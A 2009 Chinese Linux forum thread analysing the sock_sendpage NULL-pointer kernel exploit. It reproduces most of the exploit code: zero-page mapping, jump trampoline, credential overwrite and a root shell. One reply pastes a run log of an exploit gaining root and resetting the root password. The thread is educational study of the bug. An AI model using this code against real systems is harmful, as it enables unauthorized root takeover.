+ -
当前位置:首页 → 问答吧 → 新爆内核高危漏洞sock_sendpage的利用分析的讨论

新爆内核高危漏洞sock_sendpage的利用分析的讨论

时间:2009-08-18

来源:互联网

先发点上砖上来引玉,大家一起讨论一下吧。

http://linux.chinaunix.net/bbs/thread-1130262-1-1.html

详细地描述了这个漏洞。

具体漏洞原因在

http://archives.neohapsis.com/ar ... e/2009-08/0174.html

也有描述。


因为sock_sendpage没有做指针检查,有些模块不具备sendpage功能,初始时赋为NULL,这样,没有做检查的sock_sendpage有可能直接调用空指针而导致出错——重新映射地址0,并提升权限!!!!


  1. ssize_t sock_sendpage(struct file *file, struct page *page,
  2.                       int offset, size_t size, loff_t *ppos, int more)
  3. {
  4.         struct socket *sock;
  5.         int flags;

  6.         sock = SOCKET_I(file->f_dentry->d_inode);

  7.         flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  8.         if (more)
  9.                 flags |= MSG_MORE;

  10. /*
  11.         没有做类似的指针检查,就直接调用

  12.            if (unlikely(!sock->ops->sendpage))   
  13.                 return -EINVAL;

  14. */

  15.         return sock->ops->sendpage(sock, page, offset, size, flags);
  16. }
复制代码


来看看利用的代码(程序是在安焦上面下载的:
http://www.securityfocus.com/dat ... xploits/36038-4.tgz):

  1. int main(void) {
  2. char template[] = "/tmp/padlina.XXXXXX";
  3. int fdin, fdout;
  4. void *page;

  5. //获取当前程序的uid和gid,后面权限提升的时候查找使用
  6. uid = getuid();
  7. gid = getgid();
  8. setresuid(uid, uid, uid);
  9. setresgid(gid, gid, gid);

  10. if ((personality(0xffffffff)) != PER_SVR4) {
  11.   if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  12.    perror("mmap");
  13.    return -1;
  14.   }
  15. } else {
  16.   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
  17.    perror("mprotect");
  18.    return -1;
  19.   }
复制代码


程序mmap了地址0x0,接下来

  1. *(char *)0 = '\x90';  (nop)
  2. *(char *)1 = '\xe9';  (jmp)
  3. *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
复制代码


(这个 - 6是什么意思,大家指点一下)
在地址0x0处埋下代码kernel_code 函数,因为0x90 = nop, 0xe9 = jmp
上面代码可表示为在映射的地址0处,执行

  1. nop
  2. jmp kernel_code
复制代码


不过现在还没有执行,因为Bug没有被激活,程序没有运行到地址0处。

然后就是激活该Bug:

  1. if ((fdin = mkstemp(template)) < 0) {
  2.   perror("mkstemp");
  3.   return -1;
  4. }

  5. if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
  6.   perror("socket");
  7.   return -1;
  8. }

  9. unlink(template);
  10. ftruncate(fdin, PAGE_SIZE);
  11. sendfile(fdout, fdin, NULL, PAGE_SIZE);
复制代码


这段代码是漏洞描述上的示例代码。。。。。。

关键是kernel_code:

因为Bug被激活,进程已经进入内核上下文:

  1. void kernel_code()
  2. {
  3. int i;
  4. uint *p = get_current();
复制代码



kernel_code第一步是获取当前进程的进程描述符,get_current是一个内联汇编:

  1. static inline __attribute__((always_inline)) void *get_current()
  2. {
  3. unsigned long curr;
  4. __asm__ __volatile__ (
  5.   "movl %%esp, %%eax ;"
  6.   "andl %1, %%eax ;"
  7.   "movl (%%eax), %0"
  8.   : "=r" (curr)
  9.   : "i" (~8191)
  10. );
  11. return (void *) curr;
  12. }
复制代码


这段代码是现成的,描述进程描述符的资料,例如《ULK3》或《Linux内核设计与实现》上都有其介绍。内核中的原型是:
  1. static inline struct task_struct * get_current(void)
  2. {
  3.         return current_thread_info()->task;
  4. }

  5. /* how to get the thread information struct from C */
  6. static inline struct thread_info *current_thread_info(void)
  7. {
  8.         struct thread_info *ti;
  9.         __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
  10.         return ti;
  11. }
复制代码


include/asm-i386/current.h

程序返回的是一个uint *指针,而不是struct task_struct *,我认为有两个理由:
A、这是在应用态而不是内核态,如果使用后者,会比较麻烦;
B、这个程序是超版本的,也就是不仅限于某个内核版本,所以,struct task_struct的结构可能会有很大的变化。

所以,没有办法,只能在整个结构范围之内来查找uid和gid。以我的2.6.12为例:
struct task_struct {
……
           /* process credentials */
        uid_t uid,euid,suid,fsuid;
        gid_t gid,egid,sgid,fsgid;
……
}
就是要逐个找到它们,一共是8个字段:
所以,使用uint*指针来指向结构的整个buffer,就可以逐字节的查找。而不是直接使用成员名。(我不知所有历史版本,这些成员的名称是否会变化,这样做不引用成员名,连成员名变化都可以忽略了。)

  1. for (i = 0; i < 1024-13; i++) {
  2.   if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
  3.     p[0] = p[1] = p[2] = p[3] = 0;
  4.    p[4] = p[5] = p[6] = p[7] = 0;
  5.    p = (uint *) ((char *)(p + 8) + sizeof(void *));
  6.    p[0] = p[1] = p[2] = ~0;
  7.    break;
  8.   }
  9.   p++;
  10. }
复制代码


所以这里要做一个循环,就是为了超版本的在整个结构的数据中逐个搜寻,去匹备那8个成员。查找上限是1024 - 13,应该与struct task_struct结构的大小有关。包子TX贴子中说测试程序可能会引起系统出问题,估计就是出在这里了。(猜测,呵呵)

接下来就是查找到进程的uid和gid,然后替换之,这里设为0,即为root!!!以达到提升权限的目的。

exit_kernel();退出内核态,并调用exit_code()函数,运行shell。

  1. static inline __attribute__((always_inline)) void exit_kernel()
  2. {
  3. __asm__ __volatile__ (
  4.   "movl %0, 0x10(%%esp) ;"
  5.   "movl %1, 0x0c(%%esp) ;"
  6.   "movl %2, 0x08(%%esp) ;"
  7.   "movl %3, 0x04(%%esp) ;"
  8.   "movl %4, 0x00(%%esp) ;"
  9.   "iret"
  10.   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  11.       "i" (USER_CS), "r" (exit_code)
  12.      );
  13. }
复制代码


  1. void exit_code()
  2. {
  3. if (getuid() != 0) {
  4.   fprintf(stderr, "failed\n");
  5.   exit(-1);
  6. }

  7. execl("/bin/sh", "sh", "-i", NULL);
  8. }
复制代码




这些利用漏洞的人,太强了,PF呀PF,人与人差距太大了,学无止境呀!!!

[ 本帖最后由 独孤九贱 于 2009-8-18 22:52 编辑 ]

作者: 独孤九贱   发布时间: 2009-08-18

九贱兄也很强啊。小弟们很是佩服。。

作者: ruochen:   发布时间: 2009-08-18

感觉九贱兄的学习能力和自我钻研能力超强,而且还经常很无私的将一些成果与大家分享
非常敬仰!

作者: scutan:   发布时间: 2009-08-18

好!

作者: Godbach   发布时间: 2009-08-18



QUOTE:
原帖由 platinum 于 2009-8-18 17:55 发表
感觉九贱兄的学习能力和自我钻研能力超强,而且还经常很无私的将一些成果与大家分享
非常敬仰!



大家莫要这样说呀,我也是自己看懂一些,请教别人一些,还有一些不是完全懂.放上来大家讨论学习一下,我也好学透!!!再在回来翻了一个ULK3,发现有地方理解有误,再看看,回头再修改一下.

[ 本帖最后由 独孤九贱 于 2009-8-18 22:08 编辑 ]

作者: platinum   发布时间: 2009-08-18

九贱兄为学和为人的态度都值得我们学习。

作者: goter   发布时间: 2009-08-18

对于Linux这种溢出技术基本上都很成熟了。那两个内联汇编函数在以前的溢出程序中也是频率出现。基本上就是往上套。
比如:
http://www.7747.net/Soft/200908/15070.html
演示vmsplice溢出代码,可以对比参考学习一下.

我觉得作者漂亮的代码是:
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)
*(char *)0 = '\x90';  (nop)
*(char *)1 = '\xe9';  (jmp)
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

也不知是不是他原创的,不过偶以前的确没有见过,孤陋寡闻了。现在学习了,呵呵!!!

[ 本帖最后由 独孤九贱 于 2009-8-18 23:32 编辑 ]

作者: 独孤九贱   发布时间: 2009-08-18

直接往0地址空间赋值了

作者: Godbach   发布时间: 2009-08-18

我有有点不解,想请教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
没做检测就直接调用了。这时会跳到进程的虚拟地址0的位置执行。

但是我不理解的是:之前他做了一个mmap,这时向0地址写入代码,不会有什么任何问题吗?
不会破坏系统或者进程吗?

作者: 独孤九贱   发布时间: 2009-08-19

mmap这里我觉得很神奇,相当于让内核执行了用户进程空间的代码。
这样太危险了。

作者: Godbach   发布时间: 2009-08-19



QUOTE:
原帖由 emmoblin 于 2009-8-19 00:01 发表
我有有点不解,想请教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
没做检测就直接调用了。这时会跳到进程的虚拟地址0的位置执行。

但是我不理解的是:之前他做了一个mmap,这时 ...



我也没有这样做过,不过我想这并不是直接对地址0进行写操作。而是先做了一个匿名映射,由系统创建了一个内存区域,把它映射到地址0上去而已。漏洞能不能被利用的关键在于,系统允不允许做这样的映射!!!



QUOTE:
“mmap这里我觉得很神奇,相当于让内核执行了用户进程空间的代码”


内核执行用户空间的代码?什么意思?不懂!!!

作者: emmoblin   发布时间: 2009-08-19

e9 是相对跳转   执行地址地址 0x1上的那个jmp时,eip = 6;  kernel_code的地址为 0xXXXXXX, 相对的话就需要减去当前eip的值,也就是6

作者: emmoblin   发布时间: 2009-08-19

佩服!!CU上果然什么问题都能找到答案

作者: 独孤九贱   发布时间: 2009-08-19

牛啊~~ 学习了,学习了……



QUOTE:
原帖由 emmoblin 于 2009-8-19 00:01 发表
但是我不理解的是:之前他做了一个mmap,这时 ...



虚拟地址0是属于用户空间的吧~ 所以mmap一下就可以用了。
不过我感觉内核应该限制一下对0地址的分配(任何vma都不能包含0地址),因为习惯上很多情况下都把NULL看成是非法的了。

作者: bobozhang   发布时间: 2009-08-19

kernel_code()函数的地址是用户空间的,举例来说,在我的机器上的地址为0x8048afd,小于0xc0000000。在内核态,jmp到一个小于3G的地址上。这个怎么解释?
是不是这个样子,用户态到内核态切换的时候,current还是有效的,指向一个用户空间进程,cr3寄存器的内容内容不会改变,还指向原先用户空间程序的页表。这个用户空间的地址会通过页表找到相应的位置?

作者: hackisle   发布时间: 2009-08-19

是通过系统调用sendfile进入内核态的, 所以current, cr3, 等东西都没变

作者: kouu   发布时间: 2009-08-19



QUOTE:
原帖由 CUDev 于 2009-8-19 20:24 发表
kernel_code()函数的地址是用户空间的,举例来说,在我的机器上的地址为0x8048afd,小于0xc0000000。在内核态,jmp到一个小于3G的地址上。这个怎么解释?
是不是这个样子,用户态到内核态切换的时候,current还 ...



系统调用的时候,已经切换到内核态了.正因为如此,后面才有退出kernel,返回用户态的状态.

作者: CUDev   发布时间: 2009-08-19

感觉exit_kernel()那个函数没有多少用处,可以直接声明为int kernel_code(),返回-1。kernel_code自动跳回到用户空间,然后直接调用execl()就好了。

另外,kernel_code()中可以调用标准库里面的函数吗?
http://www.securityfocus.com/dat ... derbar_emporium.tgz
这是这个漏洞的另外一个exploit,它在kernel中执行的函数中调用了memset()。

[ 本帖最后由 CUDev 于 2009-8-19 22:28 编辑 ]

作者: kouu   发布时间: 2009-08-19

搭车问一个mmap的问题。

mmap的参数中addr如果为NULL的话,是kernel自动选择一个地址,但是这里为什么mmap返回的地址是0呢?


QUOTE:
       If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of  creat‐
       ing a new mapping.  If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the map‐
       ping will be created at a nearby page boundary.  The address of the new mapping is returned as the result of the call.



已解决,原来是MAP_FIXED选项的问题

[ 本帖最后由 CUDev 于 2009-8-19 22:14 编辑 ]

作者: 独孤九贱   发布时间: 2009-08-19

dex@dx wunderbar_emporium]$ ls
exploit.c  pwnkernel.c  tzameti.avi  wunderbar_emporium.sh
[dex@dx wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_27d8_sound_card_0_alsa_playback_0 tsched=1"): initialization failed.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-source" (argument: "device_id=0 source_name=alsa_input.pci_8086_27d8_sound_card_0_alsa_capture_0 tsched=1"): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0951f94
[+] Resolved selinux_enabled to 0xc07dbaf4
[+] Resolved security_ops to 0xc0950768
[+] Resolved default_security_ops to 0xc07db624
[+] Resolved sel_read_enforce to 0xc04fbbfa
[+] Resolved audit_enabled to 0xc091b16c
[+] got ring0!
[+] detected 2.6 style 4k stacks
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.2# passwd root
Changing password for user root.
New UNIX password:
BAD PASSWORD: it is WAY too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

作者: CUDev   发布时间: 2009-08-19

不错,九剑兄分析的很好。再接再厉。

作者: CUDev   发布时间: 2009-08-19



QUOTE:
原帖由 CUDev 于 2009-8-19 21:14 发表
感觉exit_kernel()那个函数没有多少用处,可以直接声明为int kernel_code(),返回-1。kernel_code自动跳回到用户空间,然后直接调用execl()就好了。

另外,kernel_code()中可以调用标准库里面的函数吗?
ht ...



如果从kernel_code中返回, 应该是返回到sock_sendpage外面去了吧, 并不是直接返回用户态. 到时候控制流发生什么变化还不好说, 倒不如直接iret返回到用户态的好.

作者: pxebxp   发布时间: 2009-08-19

那那个在kernel中执行的函数中调用C库的问题呢?

作者: bbskuang   发布时间: 2009-08-19

我觉得应该是可以调的吧~
整个程序是在用户态编译的, 可以链接C库, kernel_code中调用C库的函数自然能够编译通过.
而既然已经在内核态调用了用户函数kernel_code, 那么kernel_code中调用C库函数应该也没问题.

作者: kouu   发布时间: 2009-08-19

memset在编译的时候会不会已经被替换成相应的汇编代码呢?memcpy好像在编译的时候就是这么处理的。。

作者: CUDev   发布时间: 2009-08-19

这是memset编译后的结果

0x0000118d <give_it_to_me_any_way_you_can+233>: mov    0xffffffe8(%ebp),%eax
0x00001190 <give_it_to_me_any_way_you_can+236>: mov    %eax,%edi
---Type <return> to continue, or q <return> to quit---
0x00001192 <give_it_to_me_any_way_you_can+238>: cld   
0x00001193 <give_it_to_me_any_way_you_can+239>: mov    $0x0,%edx
0x00001198 <give_it_to_me_any_way_you_can+244>: mov    $0x8,%eax
0x0000119d <give_it_to_me_any_way_you_can+249>: mov    %eax,%ecx
0x0000119f <give_it_to_me_any_way_you_can+251>: mov    %edx,%eax
0x000011a1 <give_it_to_me_any_way_you_can+253>: rep stos %eax,%es%edi)

作者: kouu   发布时间: 2009-08-19

Kernel中是不能调用C库的,Kernel中自己实现了一些简单的类C库接口

作者: hackisle   发布时间: 2009-08-19

你拿之前的帖子中的exploit测试一下
http://www.securityfocus.com/dat ... derbar_emporium.tgz
我这边是:
  1. 0x08048a33 <give_it_to_me_any_way_you_can+223>:        movl   $0x1,0x804a7d4
  2. 0x08048a3d <give_it_to_me_any_way_you_can+233>:        movl   $0x20,0x8(%esp)
  3. 0x08048a45 <give_it_to_me_any_way_you_can+241>:        movl   $0x0,0x4(%esp)
  4. 0x08048a4d <give_it_to_me_any_way_you_can+249>:        mov    -0x10(%ebp),%eax
  5. 0x08048a50 <give_it_to_me_any_way_you_can+252>:        mov    %eax,(%esp)
  6. 0x08048a53 <give_it_to_me_any_way_you_can+255>:        call   0x804863c <memset@plt>
  7. 0x08048a58 <give_it_to_me_any_way_you_can+260>:        add    $0x24,%esp
  8. 0x08048a5b <give_it_to_me_any_way_you_can+263>:        pop    %ebx
  9. 0x08048a5c <give_it_to_me_any_way_you_can+264>:        pop    %ebp
  10. 0x08048a5d <give_it_to_me_any_way_you_can+265>:        ret   
复制代码

作者: hackisle   发布时间: 2009-08-19

0x0000118d <give_it_to_me_any_way_you_can+233>: mov    0xffffffe8(%ebp),%eax
0x00001190 <give_it_to_me_any_way_you_can+236>: mov    %eax,%edi
---Type <return> to continue, or q <return> to quit---
0x00001192 <give_it_to_me_any_way_you_can+238>: cld   
0x00001193 <give_it_to_me_any_way_you_can+239>: mov    $0x0,%edx
0x00001198 <give_it_to_me_any_way_you_can+244>: mov    $0x8,%eax
0x0000119d <give_it_to_me_any_way_you_can+249>: mov    %eax,%ecx
0x0000119f <give_it_to_me_any_way_you_can+251>: mov    %edx,%eax
0x000011a1 <give_it_to_me_any_way_you_can+253>: rep stos %eax,%es%edi)
0x000011a3 <give_it_to_me_any_way_you_can+255>: add    $0x1c,%esp
0x000011a6 <give_it_to_me_any_way_you_can+258>: pop    %ebx
0x000011a7 <give_it_to_me_any_way_you_can+259>: pop    %esi
0x000011a8 <give_it_to_me_any_way_you_can+260>: pop    %edi
0x000011a9 <give_it_to_me_any_way_you_can+261>: pop    %ebp
0x000011aa <give_it_to_me_any_way_you_can+262>: ret   

还是和原来一样,会不会是编译器版本的问题?

作者: CUDev   发布时间: 2009-08-19

内核代码中不能调用库函数, 我认为其原因是内核编译的时候没有去链接这些库.
但是这里的kernel_code跟这个不是一回事... 这里的kernel_code是用户程序的一部分, 用户程序在编译时是可以链接C库的.
如果是静态链接, 那么在用户程序的可执行文件中, C库已经是这个文件的一部分了. 调用C库函数和调用自己写的函数应该没什么区别.
如果是动态链接, 在用户程序被运行的时候, C库被map到进程空间里面, 然后被调用的函数的符号被解决...

[ 本帖最后由 kouu 于 2009-8-19 23:42 编辑 ]

作者: CUDev   发布时间: 2009-08-19

热门下载

更多